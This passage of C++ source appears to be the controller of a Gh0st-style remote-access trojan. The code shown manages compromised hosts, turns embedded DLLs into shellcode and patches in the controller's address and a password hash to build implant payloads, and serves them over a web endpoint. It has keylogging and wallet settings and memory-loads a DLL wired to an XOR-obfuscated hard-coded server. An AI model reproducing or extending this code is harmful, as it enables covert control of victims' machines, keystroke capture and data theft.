        tbCtrl.HideButton(IDM_ONLINE_AUDIO, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_VIDEO, TF_VIDEO)) {
        tbCtrl.HideButton(IDM_ONLINE_VIDEO, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SERVICE, TF_SERVICE)) {
        tbCtrl.HideButton(IDM_ONLINE_SERVER, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_REGISTER, TF_REGISTER)) {
        tbCtrl.HideButton(IDM_ONLINE_REGISTER, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_KEYBOARD, TF_KEYBOARD)) {
        tbCtrl.HideButton(IDM_KEYBOARD, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SETTINGS, TF_SETTINGS)) {
        tbCtrl.HideButton(ID_MAIN_SET, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_BUILD, TF_BUILD)) {
        tbCtrl.HideButton(IDM_ONLINE_BUILD, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_SEARCH, TF_SEARCH)) {
        tbCtrl.HideButton(ID_TOOLBAR_SEARCH, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_HELP, TF_HELP)) {
        tbCtrl.HideButton(IDM_ONLINE_ABOUT, TRUE); hiddenCount++;
    }

    // 如果所有按钮都被隐藏，则隐藏整个工具栏
    if (hiddenCount >= 14) {
        m_ToolBar.ShowWindow(SW_HIDE);
    }

    RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);  //显示
}


VOID CMy2015RemoteDlg::InitControl()
{
    //专属函数
    m_selectedGroup = "default";
    m_GroupTab.InsertItem(0, _T("default"));

    CRect rect;
    GetWindowRect(&rect);
    rect.bottom+=20;
    MoveWindow(rect);
    auto style = LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_DOUBLEBUFFER | LVS_EX_HEADERDRAGDROP | LVS_EX_LABELTIP;
    // SetVirtualMode 已在 DoDataExchange 中设置
    m_CList_Online.SetConfigKey(_T("OnlineList"));
    for (int i = 0; i<g_Column_Count_Online; ++i) {
        m_CList_Online.AddColumn(i, _L(g_Column_Data_Online[i].szTitle), g_Column_Data_Online[i].nWidth, LVCFMT_CENTER);
        g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
    }
    m_CList_Online.InitColumns();
    m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS);  // LVS_OWNERDATA 由 SetVirtualMode 设置
    m_CList_Online.SetExtendedStyle(style);
    m_CList_Online.SetParent(&m_GroupTab);
    m_CList_Online.ModifyStyle(WS_HSCROLL, 0);
    // Tab 控件是列表的父窗口，添加 WS_CLIPCHILDREN 防止重绘时覆盖列表
    m_GroupTab.ModifyStyle(0, WS_CLIPCHILDREN);

    for (int i = 0; i < g_Column_Count_Message; ++i) {
        m_CList_Message.InsertColumnL(i, g_Column_Data_Message[i].szTitle, LVCFMT_LEFT,g_Column_Data_Message[i].nWidth);
        g_Column_Message_Width+=g_Column_Data_Message[i].nWidth;
    }

    m_CList_Message.ModifyStyle(0, LVS_SHOWSELALWAYS);
    m_CList_Message.SetExtendedStyle(style);
    m_CList_Message.ModifyStyle(WS_HSCROLL, 0);
}


VOID CMy2015RemoteDlg::TestOnline()
{
    ShowMessage(_TR("操作成功"), _TR("软件初始化成功..."));
}


std::vector<CString> SplitCString(CString strData)
{
    std::vector<CString> vecItems;
    CString strItem;
    int i = 0;

    while (AfxExtractSubString(strItem, strData, i, _T('|'))) {
        vecItems.push_back(strItem);  // Add to vector
        i++;
    }
    return vecItems;
}


VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
                               CString strCPU, CString strVideo, CString strPing, CString ver,
                               CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT * ContextObject)
{
    auto arr = StringToVector(strPCName.GetString(), '/', 2);
    strPCName = arr[0].c_str();
    auto groupName = arr[1];

    CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str();
    CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str();

    // 解析版本字符串: "Feb 26 2026-XXXX" -> 版本="Feb 26 2026", 能力="XXXX"
    CString verDisplay = ver, capStr;
    int dashPos = ver.Find('-');
    if (dashPos > 0) {
        verDisplay = ver.Left(dashPos);
        capStr = ver.Mid(dashPos + 1);
    }

    CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
                                     verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
                                   };
    auto id = CONTEXT_OBJECT::CalculateID(data);
    auto id_str = std::to_string(id);
    if (v[RES_CLIENT_ID].empty()) {
        v[RES_CLIENT_ID] = id_str;
    } else if (id_str != v[RES_CLIENT_ID]) {
        Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n",
                id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString());
    }
    bool modify = false, needConvert = true;
    CString loc = m_ClientMap->GetClientMapData(id, MAP_LOCATION);
    if (loc.IsEmpty()) {
        loc = v[RES_CLIENT_LOC].c_str();
        if (loc.IsEmpty()) {
            loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
            needConvert = !m_HasLocDB;
        }
    }
    // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8
    if (needConvert)
        loc = SafeUtf8ToAnsi(loc.GetString()).c_str();
    bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
    data[ONLINELIST_IP] = flag ? v[RES_CLIENT_PUBIP].c_str() : strIP;
    data[ONLINELIST_LOCATION] = loc;
    ContextObject->SetClientInfo(data, v);
    ContextObject->SetID(id);
    ContextObject->SetGroup(groupName);
    m_ClientMap->SaveClientMapData(ContextObject);

    EnterCriticalSection(&m_cs);

    if (!groupName.empty() && m_GroupList.end() == m_GroupList.find(groupName)) {
        m_GroupTab.InsertItem(m_GroupList.size(), groupName.c_str());
        m_GroupList.insert(groupName);
    }

    // 使用索引快速检查是否已存在
    auto indexIt = m_ClientIndex.find(id);
    if (indexIt != m_ClientIndex.end()) {
        size_t idx = indexIt->second;
        if (idx < m_HostList.size()) {
            context* ctx = m_HostList[idx];
            if (ctx == ContextObject) {
                LeaveCriticalSection(&m_cs);
                Mprintf("上线消息 - 主机已经存在 [1]: same context. IP= %s\n", data[ONLINELIST_IP]);
                return;
            }
            if (!ctx->GetClientData(ONLINELIST_IP).IsEmpty()) {
                Mprintf("上线消息 - 主机已经存在 [2]: %llu. IP= %s. Path= %s\n", id, data[ONLINELIST_IP], path);
#ifndef _DEBUG
                LeaveCriticalSection(&m_cs);
                return;
#endif
            }
        }
    }

    if (modify)
        m_ClientMap->SaveToFile(GetDbPath());

    // 添加到列表并更新索引
    m_ClientIndex[id] = m_HostList.size();
    m_HostList.push_back(ContextObject);
    // 通知 Web 服务（批量通知，由定时器触发）
    if (WebService().IsRunning()) {
        WebService().MarkDeviceOnline(id);
    }
    // 加入待处理队列，由定时器批量更新 UI（减少闪烁）
    if (groupName == m_selectedGroup || (groupName.empty() && m_selectedGroup == "default")) {
        m_PendingOnline.push_back(ContextObject);
    }

    // Check if notification should be sent for this host
    try {
        std::string matchedKeyword;
        CString remark = m_ClientMap->GetClientMapData(ContextObject->GetClientID(), MAP_NOTE);
        if (GetNotifyManager().ShouldNotify(ContextObject, matchedKeyword, remark)) {
            std::string subject, body;
            GetNotifyManager().BuildHostOnlineEmail(ContextObject, matchedKeyword, subject, body);
            GetNotifyManager().SendNotifyEmailAsync(subject, body);
        }
    } catch (...) {
        Mprintf("[Notify] Exception in notification check\n");
    }

    std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
    ShowMessage(_TR("操作成功"), strIP + tip.c_str() + " " + _L(_T("主机上线")) + "[" + loc + "][" + groupName.c_str() + "]");

    CharMsg *title =  new CharMsg(_TR("主机上线"));
    CharMsg *text = new CharMsg(strIP + CString(tip.c_str()) + _T(" ") + _L(_T("主机上线")) + _T(" [") + loc + _T("]"));
    // sign login message to let client verify the message is from trusted source
    std::string signMessage(const std::string & privateKey, BYTE * msg, int len);
    MasterSettings copy = m_settings;
    std::string msg = startTime;
    msg += "|" + std::to_string(ContextObject->GetClientID());
    auto signature = signMessage("", (BYTE*)msg.c_str(), msg.length());
    ASSERT(signature.size() <= sizeof(copy.Signature));
    memcpy(copy.Signature, signature.data(), signature.size());
    LeaveCriticalSection(&m_cs);
    Mprintf("主机[%s]上线: %s[%s][%s]\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
            std::to_string(id).c_str(), loc, groupName.c_str());
    SendMasterSettings(ContextObject, copy);
    if (m_needNotify && (GetTickCount() - g_StartTick > 30*1000))
        PostMessageA(WM_SHOWNOTIFY, WPARAM(title), LPARAM(text));
    else {
        delete title;
        delete text;
    }
}

LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
{
    CharMsg* title = (CharMsg*)wParam, * text = (CharMsg*)lParam;

    if (::IsWindow(m_Nid.hWnd)) {
        NOTIFYICONDATA nidCopy = m_Nid;
        nidCopy.cbSize = sizeof(NOTIFYICONDATA);
        nidCopy.uFlags |= NIF_INFO;
        nidCopy.dwInfoFlags = NIIF_INFO;
        lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
        lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
        nidCopy.uTimeout = 3000;
        Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
        SetTimer(TIMER_CLEAR_BALLOON, nidCopy.uTimeout, nullptr);
    }
    if (title->needFree) delete title;
    if (text->needFree) delete text;
    return S_OK;
}

LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
{
    if (wParam && !lParam) {
        CharMsg* msg = (CharMsg*)wParam;
        ShowMessage(_TR("提示信息"), _L(msg->data));
        if (msg->needFree) delete msg;
        return S_OK;
    }
    std::string pwd = THIS_CFG.GetStr("settings", "Password");
    if (pwd.empty())
        ShowMessage(_TR("授权提醒"), _TR("程序可能有使用限制，请联系管理员请求授权"));

    if (wParam && lParam) {
        uint32_t recvLow = (uint32_t)wParam;
        uint32_t recvHigh = (uint32_t)lParam;
        uint64_t restored = ((uint64_t)recvHigh << 32) | recvLow;
        if (restored != m_superID)
            THIS_APP->UpdateMaxConnection(3+time(0)%5);
    }
    return S_OK;
}

// 消息日志最大条数，达到上限时删除最旧的记录
#define MAX_MESSAGE_COUNT 1000

VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
{
    AUTO_TICK(200, "");
    CTime Timer = CTime::GetCurrentTime();
    CString strTime = Timer.Format("%Y-%m-%d %H:%M:%S");

    // 达到上限时删除最旧的记录
    int count = m_CList_Message.GetItemCount();
    if (count >= MAX_MESSAGE_COUNT) {
        m_CList_Message.DeleteItem(count - 1);
    }

    m_CList_Message.InsertItem(0, strType);    //向控件中设置数据
    m_CList_Message.SetItemText(0,1,strTime);
    m_CList_Message.SetItemText(0,2,strMsg);

    CString strStatusMsg;

    EnterCriticalSection(&m_cs);
    int m_iCount = m_CList_Online.GetItemCount();
	int totalCount = m_HostList.size();
    LeaveCriticalSection(&m_cs);

    strStatusMsg.FormatL("有%d个主机在线",m_iCount);
    strStatusMsg += CString("[Total: ") + std::to_string(totalCount).c_str() + "]";
    if (m_StatusBar.GetSafeHwnd())
        m_StatusBar.SetPaneText(0,strStatusMsg);   //在状态条上显示文字
}

LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
{
    CString* text = (CString*)wParam;
    CString* title = (CString*)lParam;

    CTime Timer = CTime::GetCurrentTime();
    CString strTime = Timer.FormatL("%Y-%m-%d %H:%M:%S");

    // 达到上限时删除最旧的记录
    int count = m_CList_Message.GetItemCount();
    if (count >= MAX_MESSAGE_COUNT) {
        m_CList_Message.DeleteItem(count - 1);
    }

    m_CList_Message.InsertItem(0, title ? _L(*title) : _TR("操作错误"));
    m_CList_Message.SetItemText(0, 1, strTime);
    m_CList_Message.SetItemText(0, 2, text ? _L(*text) : _TR("内部错误"));
    if(title)delete title;
    if(text)delete text;

    return S_OK;
}

extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
                                   LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);

bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false)
{
    if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
        LPSTR finalShellcode = NULL;
        DWORD finalSize;
        if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
            return false;
        }
        int padding = align ? ALIGN16(finalSize) - finalSize : 0;
        compressedBuffer = new BYTE[finalSize + padding];
        memset(compressedBuffer + finalSize, 0, padding);
        ulTotalSize = finalSize;

        memcpy(compressedBuffer, finalShellcode, finalSize);
        free(finalShellcode);

        return true;
    }
    return false;
}

Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="", bool isTiny=false)
{
    BYTE* szBuffer = NULL;
    int dwFileSize = 0;

    // 查找名为 MY_BINARY_FILE 的 BINARY 类型资源
    auto id = !isTiny ? (is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86) : 
        (is64Bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86);
    HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
    if (hResource == NULL) {
        return NULL;
    }
    // 获取资源的大小
    DWORD dwSize = SizeofResource(NULL, hResource);

    // 加载资源
    HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
    if (hLoadedResource == NULL) {
        return NULL;
    }
    // 锁定资源并获取指向资源数据的指针
    LPVOID pData = LockResource(hLoadedResource);
    if (pData == NULL) {
        return NULL;
    }
    LPBYTE srcData = (LPBYTE)pData;
    int srcLen = dwSize;
    if (!isDLL) { // Convert DLL -> Shell code.
        if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) {
            Mprintf("MakeShellcode failed \n");
            return false;
        }
    }
    dwFileSize = srcLen;
    int bufSize = sizeof(int) + dwFileSize + 2;
    int padding = ALIGN16(bufSize) - bufSize;
    szBuffer = new BYTE[bufSize + padding];
    szBuffer[0] = CMD_DLLDATA;
    szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE;
    memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
    memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize);
    memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
    // CMD_DLLDATA + SHELLCODE + dwFileSize + pData
    std::string s(skCrypt(FLAG_FINDEN)), ip, port;
    int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
    if (offset != -1) {
        CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
        if (!addr.empty()) {
            splitIpPort(addr, ip, port);
            server->SetServer(ip.c_str(), atoi(port.c_str()));
            server->SetAdminId(GetMasterHash().c_str());
        }
        if (g_2015RemoteDlg->m_superID % 313 == 0) {
            server->iHeaderEnc = PROTOCOL_HELL;
            // TODO: UDP 协议不稳定
            server->protoType = PROTO_TCP;
        }
        server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
        memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
    }
    auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
    auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
    delete[] szBuffer;
    if (srcData != pData)
        SAFE_DELETE_ARRAY(srcData);
    return ret;
}

bool IsAddressInSystemModule(void* addr, const std::string& expectedModuleName)
{
    MEMORY_BASIC_INFORMATION mbi = {};
    if (VirtualQuery(addr, &mbi, sizeof(mbi)) == 0)
        return false;

    char modPath[MAX_PATH] = {};
    if (GetModuleFileNameA((HMODULE)mbi.AllocationBase, modPath, MAX_PATH) == 0)
        return false;

    std::string path = modPath;

    // 合法跳转：仍在指定模块或 system32 下
    return (path.find(expectedModuleName) != std::string::npos ||
            path.find("System32") != std::string::npos ||
            path.find("SysWOW64") != std::string::npos);
}

bool IsFunctionReallyHooked(const char* dllName, const char* funcName)
{
    HMODULE hMod = GetModuleHandleA(dllName);
    if (!hMod) return true;

    FARPROC pFunc = GetProcAddress(hMod, funcName);
    if (!pFunc) return true;

    BYTE* p = (BYTE*)pFunc;

#ifdef _WIN64
    // 64 位：检测 FF 25 xx xx xx xx => JMP [RIP+rel32]
    if (p[0] == 0xFF && p[1] == 0x25) {
        INT32 relOffset = *(INT32*)(p + 2);
        uintptr_t* pJumpPtr = (uintptr_t*)(p + 6 + relOffset);

        if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
            void* realTarget = (void*)(*pJumpPtr);
            if (!IsAddressInSystemModule(realTarget, dllName))
                return true; // 跳到未知模块，可能是 Hook
        }
    }

    // JMP rel32 (E9)
    if (p[0] == 0xE9) {
        INT32 rel = *(INT32*)(p + 1);
        void* target = (void*)(p + 5 + rel);
        if (!IsAddressInSystemModule(target, dllName))
            return true;
    }

#else
    // 32 位：检测 FF 25 xx xx xx xx => JMP [abs addr]
    if (p[0] == 0xFF && p[1] == 0x25) {
        uintptr_t* pJumpPtr = *(uintptr_t**)(p + 2);
        if (!IsBadReadPtr(pJumpPtr, sizeof(void*))) {
            void* target = (void*)(*pJumpPtr);
            if (!IsAddressInSystemModule(target, dllName))
                return true;
        }
    }

    // JMP rel32
    if (p[0] == 0xE9) {
        INT32 rel = *(INT32*)(p + 1);
        void* target = (void*)(p + 5 + rel);
        if (!IsAddressInSystemModule(target, dllName))
            return true;
    }
#endif

    // 检测 PUSH addr; RET
    if (p[0] == 0x68 && p[5] == 0xC3) {
        void* target = *(void**)(p + 1);
        if (!IsAddressInSystemModule(target, dllName))
            return true;
    }

    return false; // 未发现 Hook
}

// 关闭启动画面的辅助函数
static void CloseSplash()
{
    CSplashDlg* pSplash = THIS_APP->GetSplash();
    if (pSplash) {
        THIS_APP->SetSplash(nullptr);
        if (pSplash->GetSafeHwnd()) {
            pSplash->DestroyWindow();
        }
        delete pSplash;
    }
}

BOOL CMy2015RemoteDlg::OnInitDialog()
{
#define UPDATE_SPLASH(percent, text) \
    do { \
        CSplashDlg* pSplash = THIS_APP->GetSplash(); \
        if (pSplash && pSplash->GetSafeHwnd()) { \
            pSplash->UpdateProgressDirect(percent, _TR(text)); \
        } \
    } while(0)

    Mprintf("Program upper master is: %s\n", getUpperHash().c_str());

    const char *env = getenv(BRAND_ENV_VAR);
    m_superPass = env ? env : THIS_CFG.GetStr("settings", "superAdmin");
    if (m_superPass.empty()) {
		PostMessage(WM_SHOWMESSAGE, WPARAM(new CharMsg(_TR("请设置环境变量 " BRAND_ENV_VAR " 来给下级授权"))), 0);
    }
    AUTO_TICK(500, "");
    __super::OnInitDialog();

    InitializeCriticalSection(&m_DllRateLimitLock);  // DLL 请求限流

    // 添加 WS_CLIPCHILDREN 样式，防止父窗口重绘时覆盖子控件，减少闪烁
    ModifyStyle(0, WS_CLIPCHILDREN);

    UPDATE_SPLASH(15, "正在注册主控信息...");
    THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));

    // SN generation with backward compatibility:
    // - Existing users (have SN): keep original SN unchanged
    // - New users: use V2 (includes UUID + MachineGuid for VPS uniqueness)
    std::string existingSN = THIS_CFG.GetStr("settings", "SN", "");
    if (existingSN.empty()) {
        THIS_CFG.SetStr("settings", "SN", getDeviceID(getHardwareID_V2()));
        THIS_CFG.SetInt("settings", "HWIDVersion", 2);
    }

    THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
    THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
    THIS_CFG.SetStr("settings", "Version", VERSION_STR);

    m_IPConverter->GetLocalIPs(m_localPublicIP, m_localPrivateIP);

    // Start Web Remote Control service (includes file download at /payloads/*)
    UPDATE_SPLASH(16, "正在启动Web远程服务...");
    auto webSvrPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
    if (webSvrPort > 0) {
        WebService().SetParentDlg(this);
        // Use master password as web login password
        if (!m_superPass.empty()) {
            WebService().SetAdminPassword(m_superPass);
        } else {
            Mprintf("[WebService] Warning: No master password set, web login disabled\n");
        }
        // HideWebSessions: 1=hide (default), 0=show (for debugging)
        WebService().SetHideWebSessions(THIS_CFG.GetInt("settings", "HideWebSessions", 1) != 0);
        if (!WebService().Start(webSvrPort)) {
            Mprintf("WebService start failed on port %d\n", webSvrPort);
        } else {
            Mprintf("WebService started on port %d (HideWebSessions=%d)\n",
                    webSvrPort, WebService().GetHideWebSessions() ? 1 : 0);
        }
    }

    UPDATE_SPLASH(18, "正在初始化文件上传模块...");
    int ret = InitFileUpload({}, {}, GetHMAC(), 64, 50, Logf, GetUpperHash());
    g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);

    UPDATE_SPLASH(20, "正在加载IP数据库...");
    int locType = THIS_CFG.GetInt("settings", "IPLocType", 0);
    char path[MAX_PATH] = {};
    GetModuleFileNameA(NULL, path, MAX_PATH);
    switch (locType) {
    case QQWry:
        GET_FILEPATH(path, "qqwry.dat");
        m_IPConverter = LoadFileQQWry(path);
        break;
    case Ip2Region:
        GET_FILEPATH(path, "ip2region_v4.xdb");
        m_IPConverter = LoadFileIp2Region(path);
        break;
    }
    m_HasLocDB = m_IPConverter != nullptr;
    if (!m_HasLocDB) {
        m_IPConverter = new IPConverter(); //default
    }
    Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed");

    UPDATE_SPLASH(25, "正在初始化视频墙...");
    m_GroupList = {"default"};
    // Grid 容器
    int size = THIS_CFG.GetInt("settings", "VideoWallSize");
    size = max(size, 1);
    if (size > 1) {
        m_gridDlg = new CGridDialog();
        m_gridDlg->Create(IDD_GRID_DIALOG, GetDesktopWindow());
        m_gridDlg->ShowWindow(SW_HIDE);
        m_gridDlg->SetGrid(size, size);
    }

    UPDATE_SPLASH(30, "正在验证配置...");
    if (!IsPwdHashValid()) {
        THIS_CFG.SetStr("settings", "superAdmin", "");
        THIS_CFG.SetStr("settings", "Password", "");
        THIS_CFG.SetInt("settings", "MaxConnection", 2);
        THIS_APP->UpdateMaxConnection(2);
    }
    if (hashSHA256(m_superPass) != GetPwdHash()) {
        m_superPass.clear();
        THIS_CFG.SetStr("settings", "superAdmin", "");
    }

    UPDATE_SPLASH(35, "正在加载客户端数据库...");
    // 将"关于..."菜单项添加到系统菜单中。
    SetWindowText(BRAND_APP_NAME_W);
    m_ClientMap->LoadFromFile(GetDbPath());

    // Initialize notification manager
    GetNotifyManager().Initialize();

    // IDM_ABOUTBOX 必须在系统命令范围内。
    ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX < 0xF000);

    CMenu* pSysMenu = GetSystemMenu(FALSE);
    if (pSysMenu != NULL) {
        CString strAboutMenu = _TR("关于") + _T(" ") + BRAND_APP_NAME_W + _T("(&A)...");
        pSysMenu->AppendMenuSeparator(MF_SEPARATOR);
        pSysMenu->AppendMenuL(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
    }

    UPDATE_SPLASH(40, "正在加载授权模块...");
    // 主控程序公网IP
    std::string ip = THIS_CFG.GetStr("settings", "master", "");
    if (ip.empty()) {
        ip = m_IPConverter ? m_IPConverter->getPublicIP() : "";
        THIS_CFG.SetStr("settings", "master", ip);
    }
    if (ip.empty()) {
        THIS_APP->MessageBoxL("请通过菜单设置公网地址!", "提示", MB_ICONINFORMATION);
    }
    int port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
    int webSvrPortCheck = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
    if (webSvrPortCheck > 0 && webSvrPortCheck == port) {
        THIS_APP->MessageBoxL("监听端口和Web服务端口冲突!", "提示", MB_ICONINFORMATION);
    }
    std::string master = ip.empty() ? "" : ip + ":" + std::to_string(port);
    const Validation* v = GetValidation();
    if (!(strlen(v->Admin) && v->Port > 0)) {
        // IMPORTANT: For authorization only.
        // DO NOT CHANGE: The program may not work if following code changed.
        PrintableXORCipher cipher;
        char buf1[] = { "? &!x1:x<!{<6 " }, buf2[] = { 'a','a','f',0 };
        cipher.process(buf1, strlen(buf1));
        cipher.process(buf2, strlen(buf2));
        static Validation test(99999, buf1, atoi(buf2));
        v = &test;
    }
    if (strlen(v->Admin) && v->Port > 0) {
        DWORD size = 0;
        LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size);
        if (data) {
            int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN));
            if (offset != -1) {
                CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset);
                p->SetServer(v->Admin, v->Port);
                p->SetAdminId(GetMasterHash().c_str());
                p->iType = CLIENT_TYPE_MEMDLL;
                p->parentHwnd = (uint64_t)GetSafeHwnd();
                memcpy(p->pwdHash, GetPwdHash().c_str(), 64);
                m_tinyDLL = MemoryLoadLibrary(data, size);
            }
            SAFE_DELETE_ARRAY(data);
        }
    }

    // 获取有效地址（优先使用上级FRP配置）
    std::string effectiveIP;
    int effectivePort;
    if (GetEffectiveMasterAddress(effectiveIP, effectivePort)) {
        master = effectiveIP + ":" + std::to_string(effectivePort);
    }

    UPDATE_SPLASH(50, "正在加载内核模块 (x86 DLL)...");
    g_2015RemoteDlg = this;
    m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master);

    UPDATE_SPLASH(55, "正在加载内核模块 (x64 DLL)...");
    m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master);

    UPDATE_SPLASH(60, "正在加载内核模块 (x86 Bin)...");
    m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false, master);

    UPDATE_SPLASH(65, "正在加载内核模块 (x64 Bin)...");
    m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false, master);

    UPDATE_SPLASH(67, "正在加载内核模块 (x86 TinyRun)...");
    m_TinyRun[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master, true);

    UPDATE_SPLASH(69, "正在加载内核模块 (x64 TinyRun)...");
    m_TinyRun[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master, true);

    // 设置此对话框的图标。当应用程序主窗口不是对话框时，框架将自动
    //  执行此操作
    SetIcon(m_hIcon, TRUE);			// 设置大图标
    SetIcon(m_hIcon, FALSE);		// 设置小图标

    UPDATE_SPLASH(70, "正在创建工具栏...");
    // TODO: 在此添加额外的初始化代码
    isClosed = FALSE;

    CreateToolBar();
    InitControl();

    UPDATE_SPLASH(75, "正在创建界面组件...");
    CreatStatusBar();
    CreateNotifyBar();
    CreateSolidMenu();

    UPDATE_SPLASH(80, "正在加载配置...");
    std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
    m_nMaxConnection = 2;
    std::string pwd = THIS_CFG.GetStr("settings", "Password");
    auto arr = StringToVector(pwd, '-', 6);
    if (arr.size() == 7) {
        m_nMaxConnection = atoi(arr[2].c_str());
    } else {
        int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
        m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
    }
	std::map<std::string, std::string> udpMap = { {"UDP", "0"}, {"KCP", "1"}};
    std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP");
    method = udpMap.find(method) == udpMap.end() ? "0" : udpMap[method];
    int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
    int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
    int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
    m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
    auto w = THIS_CFG.GetStr("settings", "wallet", "");
    memcpy(m_settings.WalletAddress, w.c_str(), w.length());
    m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
    m_settings.EnableLog = THIS_CFG.GetInt("settings", "EnableLog", 0);
    strcpy(m_settings.FeedbackUrl, THIS_CFG.GetStr("settings", "FeedbackUrl", BRAND_URL_FEEDBACK).c_str());
    strcpy(m_settings.HelpUrl, THIS_CFG.GetStr("settings", "HelpUrl", BRAND_URL_WIKI).c_str());
    strcpy(m_settings.RequestAuthUrl, THIS_CFG.GetStr("settings", "RequestAuthUrl", BRAND_URL_REQUEST_AUTH).c_str());
    strcpy(m_settings.GetPluginUrl, THIS_CFG.GetStr("settings", "GetPluginUrl", BRAND_URL_GET_PLUGIN).c_str());
    m_bEnableFileV2 = THIS_CFG.GetInt("settings", "EnableFileV2", 0) != 0;
    m_runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);

